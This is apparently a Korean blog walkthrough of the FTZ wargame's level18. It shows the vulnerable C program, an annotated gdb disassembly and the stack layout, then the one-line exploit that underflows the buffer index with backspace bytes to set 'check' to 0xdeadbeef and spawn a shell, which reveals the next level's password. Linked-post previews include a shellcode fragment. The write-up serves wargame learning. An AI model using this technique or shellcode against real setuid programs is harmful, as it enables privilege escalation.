728x90
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

갑자기 코드가 길어졌는데 별 거 없다. 그냥 내가 입력한 값들이 x에 1byte씩 저장되고 x값에 따라 실행되는 게 달라진다.

그리고 check가  0xdeadbeef면 shellout 함수를 실행할 수 있다.

attackme 실행파일을 level18의 tmp 디렉터리 내부로 복사한 후 gdb를 실행한다.

Dump of assembler code for function main:
0x08048550 <main+0>:	push   ebp
0x08048551 <main+1>:	mov    ebp,esp
0x08048553 <main+3>:	sub    esp,0x100
0x08048559 <main+9>:	push   edi
0x0804855a <main+10>:	push   esi
0x0804855b <main+11>:	push   ebx
0x0804855c <main+12>:	mov    DWORD PTR [ebp-108],0x0  //0을 대입하는 것을 보고 변수 x의 주소임을 확신
0x08048563 <main+19>:	mov    DWORD PTR [ebp-112],0x0  //0을 대입하는 것을 보고 count의 주소임을 확신
0x0804856a <main+26>:	push   0x8048800
0x080485ab <main+91>:	cmp    DWORD PTR [ebp-104],0xdeadbeef  //0xdeadbeef와 비교하기에 check의 주소 확신
0x080485b2 <main+98>:	jne    0x80485c0 <main+112>
0x080485b4 <main+100>:	call   0x8048780 <shellout>​
//switch의 default 부분
0x08048743 <main+499>:	lea    eax,[ebp-100]  //string임을 확신
0x08048746 <main+502>:	mov    DWORD PTR [ebp-252],eax  //string의 주솟값이 ebp-252에 저장
0x0804874c <main+508>:	mov    edx,DWORD PTR [ebp-112]  //count 값이 최종적으로 edx에 저장
0x0804874f <main+511>:	mov    cl,BYTE PTR [ebp-108]  //x 값을 cl에 저장
0x08048752 <main+514>:	mov    BYTE PTR [ebp-253],cl  // c1(x값)의 값을 ebp-253에 저장
0x08048758 <main+520>:	mov    al,BYTE PTR [ebp-253]  //x 값이 최종적으로 al에 저장
0x0804875e <main+526>:	mov    ecx,DWORD PTR [ebp-252]  //string의 주솟값이 ecx에 저장
0x08048764 <main+532>:	mov    BYTE PTR [edx+ecx],al  //string[count]=x
0x08048767 <main+535>:	inc    DWORD PTR [ebp-112]  //x++
0x0804876a <main+538>:	jmp    0x8048770 <main+544>
0x0804876c <main+540>:	lea    esi,[esi*1]
0x08048770 <main+544>:	jmp    0x8048591 <main+65>
0x08048775 <main+549>:	lea    esp,[ebp-268]
0x0804877b <main+555>:	pop    ebx
0x0804877c <main+556>:	pop    esi
0x0804877d <main+557>:	pop    edi
0x0804877e <main+558>:	leave  
0x0804877f <main+559>:	ret

스택의 구조는 다음과 같다.

ebp-112 count
ebp-108 x
ebp-104 check
ebp-100 string

check에 0xdeadbeef를 대입해야 한다. 소스코드를 보면 x 값이 8인 경우 count가 1만큼 감소한다. 그리고 0xa, 0xd, 8이 아닌 경우는 string주소+count 위치에 x를 대입한다.

그렇다면 현재 string의 위치에서 4만큼 감소하면 string의 주소(ebp-100) - 4 = ebp-104가 되어 check에 도달할 것이고 이 상태에서 0xdeadbeef를 저장한다면 문제가 풀릴 것이다.

[level18@ftz tmp]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|../attackme
Enter your command: my-pass

Level19 Password is "swimming in pink".

참고로 \x8은 문법 에러고, 그냥 8은 38로 인식된다. 문자 8에 해당하는 아스키코드가 38이기 때문이다. 반드시 \x08로 입력해야 한다.

명령어들이 이해가 안 되면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level20  (0) 2023.01.20
level19  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19

+ Recent posts